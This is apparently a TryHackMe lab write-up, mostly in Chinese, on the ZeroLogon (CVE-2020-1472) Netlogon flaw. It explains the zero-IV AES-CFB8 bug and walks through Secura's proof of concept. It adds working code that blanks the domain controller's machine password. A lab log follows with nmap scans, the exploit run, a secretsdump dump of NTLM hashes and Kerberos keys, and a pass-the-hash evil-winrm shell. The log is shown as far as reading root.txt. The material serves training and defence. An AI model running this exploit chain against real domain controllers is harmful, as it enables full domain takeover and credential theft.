The Zero Day Angle

这个房间的目的是以教育为重点阐明 ZeroLogon 漏洞。这样做是为了让防御者更好地理解这里面临的威胁。ZeroLogon 漏洞是从“概念验证”的角度来探讨的,提供了此问题中易受攻击的方法的细分。TryHackMe 不会容忍个人采取的非法行动。

关于漏洞

9 月 14 日,Secura 发布了 CVE-2020-1472 的白皮书,允许攻击者在大约一分钟内从零变为域管理员。他们将此漏洞称为零登录。

零登录是一种纯粹基于统计的攻击,它滥用了 MS-NRPC(Microsoft NetLogon 远程协议)中的一项功能,MS-NRPC 是 Active Directory 的一个关键身份验证组件,用于处理用户和机器帐户的身份验证。简而言之——攻击主要集中在加密的不良实现上。更具体地说,微软选择对 ComputeNetlogonCredential 函数使用 AES-CFB8,这通常没问题,只是他们硬编码了初始化向量以使用全零而不是随机字符串。当攻击者发送仅包含零且 IV 为零的消息时,密文为零的概率为 1/256。

但这对我们有什么用呢?我们将在以下部分中讨论这一点。

关于机器帐户

通常,如果我们尝试对任何用户帐户进行基于统计的攻击,我们都会被锁定。如果我们将此原则应用于机器帐户,情况并非如此。机器帐户的行为方式与标准用户帐户大不相同。它们没有预定义的帐户锁定尝试,因为通常使用 64 个以上的字符字母数字密码来保护它们,这使得它们很难被破解。它们绝不供最终用户访问。在某些情况下,我们可以使用 Mimikatz 之类的工具转储机器帐户密码,但如果我们到了那个地步,我们已经入侵了机器——我们正在寻找域内的持久性,而不是横向移动。

滥用漏洞

机器帐户通常拥有系统级权限,我们可以将其用于各种事情。如果您不熟悉 Active Directory,我们可以获取域控制器的机器帐户并尝试结合使用授予的身份验证和 Secretsdump.py(SecretsDump 是一个密码转储实用程序,类似于 Mimikatz,但它位于网络上而不是主机上)转储域内的所有密码。此时,我们开始形成一个粗略的杀伤链:

使用零登录绕过域控制器机器帐户的身份验证 -> 运行 Secretsdump.py 转储凭据 -> 破解/传递域管理员哈希 -> ??? -> 利润

分析 MS-NRPC 登录过程

此时,我们知道存在漏洞,但我们还不太确定如何利用它。我们很快就会介绍这一点,但我们知道 Microsoft 在 MS-NRPC 的 ComputeNetLogonCredetial 功能中处理身份验证的方式存在漏洞。为了更好地理解这个漏洞,我们需要更深入地研究 Microsoft 如何处理 NRPC 身份验证。为了分析漏洞发生的位置,我们将使用 Secura 提供的图表以及 Microsoft 文档来解密零登录背后的魔力。可以在本任务的底部找到来源。

Zerologon Explained

来源:Secura

步骤 1。客户端创建 NetrServerReqChallenge 并将其发送出去 *[图 1。步骤 1]*。它包含以下值:

  1. DC
  2. 目标设备(在我们的例子中也是 DC)
  3. Nonce(在我们的例子中是 16 个字节的零)。

步骤 2。服务器接收 NetrServerReqChallenge,然后服务器将生成自己的 Nonce(这称为服务器质询),服务器将发回服务器质询。 [图 1。步骤 2]

步骤 3。客户端(我们)将使用提供的服务器质询计算其 NetLogon 凭据 *[图 1。步骤 3]*。它使用 NetrServerAuthenticate3 方法,该方法需要以下参数:

  1. 自定义绑定句柄(Impacket 会为我们处理此问题,它已事先协商)

  2. 帐户名称(域控制器的计算机帐户名称。例如:DC01$)

  3. 安全通道类型(Impacket 会为我们处理此问题,但我们仍需要指定它:[nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel])

  4. 计算机名称(域控制器,例如:DC01)

  5. 客户端凭据字符串(这将是 8 个十六进制的 \x00 [16 个字节的零])

  6. 协商标志(从禁用签名/密封标志的 Win10 客户端观察到以下值:0x212fffff,由 Secura 提供)

步骤 4。服务器将接收 NetrServerAuthenticate 请求,并使用其已知的、正确的值自行计算相同的请求。如果结果正确,服务器将向客户端发送回所需信息。*[图 1。步骤 4。]*

此时,利用零登录漏洞的尝试正在进行中。上述步骤将循环执行一定次数,以尝试利用零登录漏洞。实际利用发生在步骤 3 和步骤 4,我们希望服务器具有与客户端相同的计算。这就是 1/256 的机会发挥作用的地方。

步骤 5。如果服务器计算出相同的值,客户端将重新验证,一旦确认双方一致,他们将就会话密钥达成一致。会话密钥将用于加密客户端和服务器之间的通信,这意味着身份验证成功。*[图 1。步骤 5]*

从那里,可以进行正常的 RPC 通信。

Sources

  1. Tom Tervoort of Secura - https://www.secura.com/pathtoimg.php?id=2055
  2. Microsoft - https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/7b9e31d1-670e-4fc5-ad54-9ffff50755f9
  3. Microsoft - https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/3a9ed16f-8014-45ae-80af-c0ecb06e2db9

Impacket Installation

Impacket 安装

作为预先警告,Impacket 在 nrpc.py 中的某些模块方面可能非常挑剔,因此,我们建议使用 TryHackMe AttackBox。这将使漏洞利用运行得更快,此外,我们可以尝试通过 AttackBox 提供更好的支持。此外,我们将使用虚拟环境来安装 Impacket。安装 Impacket 的说明如下:

AttackBox

user@attackbox$ python3 -m venv impacketEnv
user@attackbox$ source impacketEnv/bin/activate
user@attackbox$ python3 -m pip install --upgrade pip
user@attackbox$ python3 -m pip install impacket

执行这些命令后,您应该被置于 Python3 虚拟环境中,该环境将兼容修改 PoC 以利用零登录。感谢 TryHackMe Discord 中的 Onurshin 建议使用 Python 虚拟环境。

The Proof of Concept

PoC and You

概念验证对于每个漏洞利用都非常重要,没有它们,漏洞利用几乎完全是理论上的。幸运的是,Secura 能够提供有效的 零登录概念验证,该验证已完成 90%。我们只需进行一次额外调用即可将密码更改为空值,回想任务 1 中的图 3,Secura 甚至非常友好地为我们提供了需要调用的方法 (NetrServerPasswordSet2)。在 Microsoft 文档中查找该方法,它与 hNetSeverAuthenticate3 非常相似,因此我们将重新使用其中的一些相同变量以及结构。 分析 PoC

在我们继续之前,您应该从 Secura 下载 PoC,可在此处找到:

https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py

该脚本乍一看似乎相当令人生畏,但它非常简单,如果您回想任务 1 中的图 1,您很快就会看到它是如何开始组合在一起的。让我们从分解 PoC 开始。我们将按照执行/重要性的顺序进行,以便更容易理解:

Lines 3 - 13

from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto

import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
MAX_ATTEMPTS = 2000

第 1-4 行从 Impacket 导入所需的模块,特别是 NRPC、EPM、Crypto 和 Transport 库。此外,第 6-8 行还导入了其他一些杂项库,但 Impacket 库才是这里的主角。最后,在第 9 行,我们定义了一个常量(类似于变量,但永远不会改变),将零登录的最大重试次数设置为 2000。

Lines 76 - 86

if __name__ == '__main__':
if not (3 <= len(sys.argv) <= 4):
print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
sys.exit(1)
else:
[_, dc_name, dc_ip] = sys.argv

dc_name = dc_name.rstrip('$')
perform_attack('\\\\' + dc_name, dc_ip, dc_name)

接下来我们跳到脚本的最底部,以便稍后理解其他一些变量,第 1 行本质上是在 Python 中声明一个主函数,第 2 行我们检查参数数量,并确保它正好是 3(zerologon_tester.py DCNAME IP)。第 3-5 行仅在参数大于 3 个或小于 2 个时打印帮助菜单并退出。如果提供了必需的参数,则在第 8 行将参数传递到两个变量中:dc_name 和 dc_ip。传递参数后,dc_name 将被删除“$”字符,因为 dc_name 变量不应该有它。但是用户帐户名应该有。之后,它将两个变量和一个额外的修改后的变量传递到名为“perform_attack”的模块中。

Lines 57 - 73

def perform_attack(dc_handle, dc_ip, target_computer):

print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if rpc_con == None:
print('=', end='', flush=True)
else:
break

if rpc_con:
print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)

第 1 行定义变量在本地函数中的传递位置,\DCNAME 传递到 dc_handle 变量,dc_ip 传递到 dc_ip 变量,dc_name 传递到 target_computer 变量。所有这些变量将在稍后使用,或传递到不同的模块。第 4 行将变量 rpc_con 设置为 none,这将持续跟踪以检查身份验证是否成功,如果不成功,脚本将继续执行,直到重试次数达到 2000 次。第 5 行是零登录的实际重试以 for 循环的形式发生的地方。第 6 行将 rpc_con 变量设置为另一个名为“try_zero_authenticate”的函数的输出,并向其传递几个变量,具体来说是 dc_handle、dc_ip 和 target_computer。所有这些我们之前都讨论过。接下来的几行只是检查 rpc_con 是否等于无效的登录尝试,如果是,则打印 =,如果不是,则打印成功,如果达到 2000 次重试:打印攻击失败。

Lines 20-25

def try_zero_authenticate(dc_handle, dc_ip, target_computer):

binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

第 1 行定义 try_zero_authenticate 函数,并将前面提到的 3 个变量作为输入,并将它们传递到函数中。第 3-6 行通过 TCP/IP 与 NRPC 建立绑定和会话,以便我们可以与域控制器进行通信。

Lines 27-40

plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8

flags = 0x212fffff

nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,target_computer + '\x00', ciphertext, flags)

第 1 行和第 2 行建立了两个新变量,即包含 16 个字节“\x00”的明文和密文,将用于利用零登录漏洞。第 4 行包含一个名为 Flags 的变量。这些是从禁用签名和密封位的 Windows 10 客户端(使用 AES-CFB8)观察到的默认标志(来源/信用:Secura)。第 6 行是有趣的地方——这是图 1 中第 1 步开始的地方,客户端创建一个 NetrServerReqChallenge,其中包含 Microsoft 文档 所需的以下信息:

NTSTATUS NetrServerReqChallenge(
[in, unique, string] LOGONSRV_HANDLE PrimaryName,
[in, string] wchar_t* ComputerName,
[in] PNETLOGON_CREDENTIAL ClientChallenge,
);

主名称是 DC 句柄,计算机名称是目标计算机,客户端质询是 16 个字节的“\x00”。客户端将收到返回,这将在图 1 的步骤 2 中使用:

NTSTATUS NetrServerReqChallenge(
[out] PNETLOGON_CREDENTIAL ServerChallenge
);

第 8 行设置了一个 try except(我们将在接下来的几行中看到其余部分),但第 9 行是我们真正尝试利用零登录漏洞的地方,这将是图 1,步骤 3。本节需要更多信息,根据 NetrServerAuthenticate3 的 Microsoft 文档,需要以下内容:

NTSTATUS NetrServerAuthenticate3(
[in, unique, string] LOGONSRV_HANDLE PrimaryName,
[in, string] wchar_t* AccountName,
[in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,
[in, string] wchar_t* ComputerName,
[in] PNETLOGON_CREDENTIAL ClientCredential,
[in, out] ULONG * NegotiateFlags,
);

在第 9 行,我们提供 DC_Handle 作为主名称、目标计算机加 $ 作为机器帐户名称(回想一下,机器帐户没有锁定策略)、安全通道类型作为先前通过 RPC 建立的安全通道类型、target_computer 变量作为计算机名称、密文(16 个字节的“\x00”试图滥用零登录,请记住,密文与明文相同的概率为 1/256),最后,我们的标志变量模仿 Windows 10 客户端计算机的标志变量。

NTSTATUS NetrServerAuthenticate3(
[out] PNETLOGON_CREDENTIAL ServerCredential,
[in, out] ULONG * NegotiateFlags,
[out] ULONG * AccountRid
);

此外,我们希望在成功利用零登录后从服务器收到两个(可能是 3 个)东西:ServerCredential 和 AccountRid,我们只会使用其中一个。

Line 44 - 54

  assert server_auth['ErrorCode'] == 0
return rpc_con

except nrpc.DCERPCSessionError as ex:

if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')

except BaseException as ex:
fail(f'Unexpected error: {ex}.')

第 1 行从 Server_auth 变量或为与目标设备建立身份验证会话而分配的变量中检索错误代码。如果成功,我们将返回 rpc_con 变量,该变量将通知我们已成功绕过零登录身份验证。第 3-12 行只是错误处理行,因此程序在收到错误后不会中断并退出。

传输结束,下一步是什么?

这就是概念验证的全部内容。它不是什么巨大而可怕的怪物。它甚至成功地为我们利用了零登录漏洞——但它停止了,没有做任何进一步的事情,那么我们该怎么做呢?

好问题,接下来我们需要查看 Microsoft 文档本身,看看我们可以做些什么来与 NRPC 本身进行交互。如果您不熟悉 NRPC,并且您不是那么技术娴熟的人,请回顾任务 1 中的最后一步,图 3(提示:它告诉我们需要做什么)。

这一切意味着什么,医生?

在回过头来查看任务 1 中的图 3 或研究如何通过 RDP 重置密码后,您应该已经找到了以下文档:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81

该文档概述了通过 NRPC 更改密码所需的信息。执行此操作需要以下信息:

 NTSTATUS NetrServerPasswordSet2(
[in, unique, string] LOGONSRV_HANDLE PrimaryName,
[in, string] wchar_t* AccountName,
[in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,
[in, string] wchar_t* ComputerName,
[in] PNETLOGON_AUTHENTICATOR Authenticator,
[in] PNL_TRUST_PASSWORD ClearNewPassword
);

回头看看 NetrServerAuthenticate3NetrServerPasswordSet2,我们已经掌握了一些所需的信息,例如主名称、帐户名称、安全通道类型和计算机名称。因此,我们只需要两个值,即 Authenticator 和 ClearNewPassword 值。这两个都是微软的文档,所以我们首先看一下 Authenticator

typedef struct _NETLOGON_AUTHENTICATOR {
NETLOGON_CREDENTIAL Credential;
DWORD Timestamp;
}

突然,我们遇到了另一个未知项,NETLOGON_CREDENTIAL。幸运的是,微软确实有关于 NETLOGON_CREDENTIAL 的文档:

typedef struct _NETLOGON_CREDENTIAL {
CHAR data[8];
} NETLOGON_CREDENTIAL,
*PNETLOGON_CREDENTIAL;

根据文档,NETLOGON_CREDENTIAL 可以接收 8 个字节的数据,第二个要点概述了“数据字段携带 8 个字节的加密数据,如 Netlogon Credential Computation 中所述”,幸运的是,我们知道这个值,这要归功于 Zero Logon,它是 8 个字节的零。就时间戳而言,它是一个 DWORD 值,因此它可以是 1 或 0。对我来说,零听起来很完美。为了更改密码,Microsoft 文档指出:
Netlogon 密码由 512 个字节的随机填充(减去密码的长度,即垃圾+密码)组成,最后四个字节表示密码的长度,总共 516 个字节。为了简单起见,我们可以简单地提供 516 个字节的全 00 来创建一个空密码。最终,我们可以努力创建自己的自定义密码,但再次强调,为了简单起见,我们现在将其设置为空值。

升级

现在我们知道了通过 NRPC 更改密码所需的参数,我们实际上必须用 Python 来实现它。我们需要查看 Impacket 中的 nrpc.py 模块,以了解如何制作 netrServerPasswordSet2 请求所需的结构:

def hNetrServerPasswordSet2(dce, primaryName, accountName, secureChannelType, computerName, authenticator, clearNewPasswordBlob):
request = NetrServerPasswordSet2()
request['PrimaryName'] = checkNullString(primaryName)
request['AccountName'] = checkNullString(accountName)
request['SecureChannelType'] = secureChannelType
request['ComputerName'] = checkNullString(computerName)
request['Authenticator'] = authenticator
request['ClearNewPassword'] = clearNewPasswordBlob
return dce.request(request)

正如预期的那样,大多数字段名称与 Microsoft 提供的相同,但有一些差异。接下来,我们还需要知道如何构造 Authenticator 部分:

class NETLOGON_AUTHENTICATOR(NDRSTRUCT):
structure = (
('Credential', NETLOGON_CREDENTIAL),
('Timestamp', DWORD),
)

这里的格式与之前的格式略有不同,但我们会在将其插入 PoC 时进行相应调整,但在讨论将其插入 PoC 时,我们添加的代码将放在哪里?

我们添加的代码将放在第 45 行“return rpc_con”之前。在这里我们知道身份验证成功,我们希望在返回上一个函数并终止 RPC 连接之前获取该信息。现在我们知道了需要添加到 PoC 的所有必需信息,我们将为您省去编写自己的代码的艰苦工作,您可以使用下面预先编写的代码。上述解释应该有助于理解它。

我们插入的附加代码:

newPassRequest = nrpc.NetrServerPasswordSet2()
newPassRequest['PrimaryName'] = dc_handle + '\x00'
newPassRequest['AccountName'] = target_computer + '$\x00'
newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
auth = nrpc.NETLOGON_AUTHENTICATOR()
auth['Credential'] = b'\x00' * 8
auth['Timestamp'] = 0
newPassRequest['Authenticator'] = auth
newPassRequest['ComputerName'] = target_computer + '\x00'
newPassRequest['ClearNewPassword'] = b'\x00' * 516
rpc_con.request(newPassRequest)

此时,您的代码应该已经可以使用,并且您应该能够成功利用零登录。如果您仍然遇到问题,您可以使用此处的以下代码:

https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py

Lab It Up!Lab It Up!

┌──(root㉿kali)-[~/Desktop]
└─# nmap --min-rate=10000 -p- 10.10.184.188
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-30 01:50 UTC
Warning: 10.10.184.188 giving up on port because retransmission cap hit (10).
Nmap scan report for ip-10-10-184-188.eu-west-1.compute.internal (10.10.184.188)
Host is up (0.0055s latency).
Not shown: 65497 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
23644/tcp filtered unknown
25384/tcp filtered unknown
27163/tcp filtered unknown
32851/tcp filtered unknown
34200/tcp filtered unknown
39278/tcp filtered unknown
40363/tcp filtered unknown
42189/tcp filtered unknown
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49686/tcp open unknown
49695/tcp open unknown
49801/tcp open unknown
50798/tcp filtered unknown
53038/tcp filtered unknown
64343/tcp filtered unknown
MAC Address: 02:EF:7A:EF:55:E5 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sC -sT -sV -O -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 10.10.184.188
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-30 01:59 UTC
Nmap scan report for ip-10-10-184-188.eu-west-1.compute.internal (10.10.184.188)
Host is up (0.00063s latency).

PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-30 01:59:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hololive.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hololive.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-04-30T02:01:44+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC01.hololive.local
| Not valid before: 2024-04-29T00:55:34
|_Not valid after: 2024-10-29T00:55:34
| rdp-ntlm-info:
| Target_Name: HOLOLIVE
| NetBIOS_Domain_Name: HOLOLIVE
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: hololive.local
| DNS_Computer_Name: DC01.hololive.local
| Product_Version: 10.0.17763
|_ System_Time: 2024-04-30T02:01:31+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
MAC Address: 02:EF:7A:EF:55:E5 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 1909 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-04-30T02:01:31
|_ start_date: N/A
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 02ef7aef55e5 (unknown)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.05 seconds
┌──(root㉿kali)-[~/Desktop]
└─# python zerologon.py DC01 10.10.184.188

_____ __
/ _ / ___ _ __ ___ / / ___ __ _ ___ _ __
\// / / _ \ '__/ _ \ / / / _ \ / _` |/ _ \| '_ \
/ //\ __/ | | (_) | / /__| (_) | (_| | (_) | | | |
/____/\___|_| \___/ \____/\___/ \__, |\___/|_| |_|
|___/
Vulnerability Discovered by Tom Tervoort
Exploit by Ronnie Bartwitz

Performing authentication attempts...
Failure to Autheticate at attempt number: 198
Zero Logon successfully exploited, changing password.
┌──(root㉿kali)-[~/Desktop]
└─# python /usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc -no-pass DC01\$@10.10.184.188
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3f3ef89114fb063e3d7fc23c20f65568:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2179ebfa86eb0e3cbab2bd58f2c946f5:::
hololive.local\a-koronei:1104:aad3b435b51404eeaad3b435b51404ee:efc17383ce0d04ec905371372617f954:::
hololive.local\a-fubukis:1106:aad3b435b51404eeaad3b435b51404ee:2c90bc6c1c35b71f455f3d08cf4947bd:::
hololive.local\matsurin:1107:aad3b435b51404eeaad3b435b51404ee:a4c59da4140ebd8c59410370c687ef51:::
hololive.local\fubukis:1108:aad3b435b51404eeaad3b435b51404ee:f78bb88e1168abfa165c558e97da9fd4:::
hololive.local\koronei:1109:aad3b435b51404eeaad3b435b51404ee:efc17383ce0d04ec905371372617f954:::
hololive.local\okayun:1110:aad3b435b51404eeaad3b435b51404ee:a170447f161e5c11441600f0a1b4d93f:::
hololive.local\watamet:1115:aad3b435b51404eeaad3b435b51404ee:50f91788ee209b13ca14e54af199a914:::
hololive.local\mikos:1116:aad3b435b51404eeaad3b435b51404ee:74520070d63d3e2d2bf58da95de0086c:::
DC01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:3415e858d1caff75baeb02c4dd7154328ea6c87f07336a5c926014392a40ed49
Administrator:aes128-cts-hmac-sha1-96:535501623337ae03580527692f08f0e1
Administrator:des-cbc-md5:bf34685d383e6734
krbtgt:aes256-cts-hmac-sha1-96:9702af2b67c5497940d0f0a7237fbd53d18fb2923fadd37f4ba33d6d5dab4583
krbtgt:aes128-cts-hmac-sha1-96:81628713bd5608becc4325052eb9702d
krbtgt:des-cbc-md5:25f1cea1542f9e31
hololive.local\a-koronei:aes256-cts-hmac-sha1-96:8085b97e73f4dfa6e2cc52a885dd3b1339bf17c17e999a8863686bdf0d800763
hololive.local\a-koronei:aes128-cts-hmac-sha1-96:2f6fd0c9e56a00883ab21544791becab
hololive.local\a-koronei:des-cbc-md5:89df5b3b9b680ea1
hololive.local\a-fubukis:aes256-cts-hmac-sha1-96:7b675daa6cd54ae667a2726a5d99259638b29467fd8e4b3cd6ec4e9564a168dd
hololive.local\a-fubukis:aes128-cts-hmac-sha1-96:883e1d7b14b9024527bd7da69c80a350
hololive.local\a-fubukis:des-cbc-md5:94294304ec7637c1
hololive.local\matsurin:aes256-cts-hmac-sha1-96:cfde1ad860382daa706dd11d585ff1512eef873dc85ae9a88437dc7501fa8e04
hololive.local\matsurin:aes128-cts-hmac-sha1-96:08a011409d044e2f1aec7a6782cbd7b5
hololive.local\matsurin:des-cbc-md5:04fde39d61c215fe
hololive.local\fubukis:aes256-cts-hmac-sha1-96:ed8e594f0b6b89cfa8030bcf9f3e41a9668793a12f598e42893fe8c9f6c5b8eb
hololive.local\fubukis:aes128-cts-hmac-sha1-96:ee003acb55927bb733826aa9a9ddfb53
hololive.local\fubukis:des-cbc-md5:075b8ffde398fe80
hololive.local\koronei:aes256-cts-hmac-sha1-96:6df316ac8564b8254457d973ad61a71a1dfcc5ffe6218cb39f14bb0bbda4a287
hololive.local\koronei:aes128-cts-hmac-sha1-96:6afe7f4196657648505d2af9bbfaf8ba
hololive.local\koronei:des-cbc-md5:a737e6073d15aecd
hololive.local\okayun:aes256-cts-hmac-sha1-96:cf262ddfb3239a555f9d78f90b8c01cd51032d34d104d366b4a94749b47fe6c5
hololive.local\okayun:aes128-cts-hmac-sha1-96:53be14aa0da3f7b657e42c5ed1cef12a
hololive.local\okayun:des-cbc-md5:10896d3786b9628f
hololive.local\watamet:aes256-cts-hmac-sha1-96:45f99941cfc277515aff47a4dfc936e805f7fedd3d175524708c868e2c405ec9
hololive.local\watamet:aes128-cts-hmac-sha1-96:07a6307a5b58f33a61271516ac3364cc
hololive.local\watamet:des-cbc-md5:bf622564a840f192
hololive.local\mikos:aes256-cts-hmac-sha1-96:aab547ee10782fef9aea3b4be5392e7ca9605d0dca95f7510dca40b9628f4233
hololive.local\mikos:aes128-cts-hmac-sha1-96:5c56246d1fd7a4db5ff4fb65ba597e42
hololive.local\mikos:des-cbc-md5:6b2f7fa7a4ecd0c1
DC01$:aes256-cts-hmac-sha1-96:dbf8dbaaccbf17d6fb96cbb3c4046099a4a41d1453ff2d8a8970216ed15d9bf8
DC01$:aes128-cts-hmac-sha1-96:4c146fe76ec6150267564d9bd69769d8
DC01$:des-cbc-md5:cd161923ab9ec11c
[*] Cleaning up...
┌──(root㉿kali)-[~/Desktop]
└─# evil-winrm -u Administrator -H 3f3ef89114fb063e3d7fc23c20f65568 -i 10.10.184.188

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


Directory: C:\Users\Administrator\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/20/2020 2:02 PM 24 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt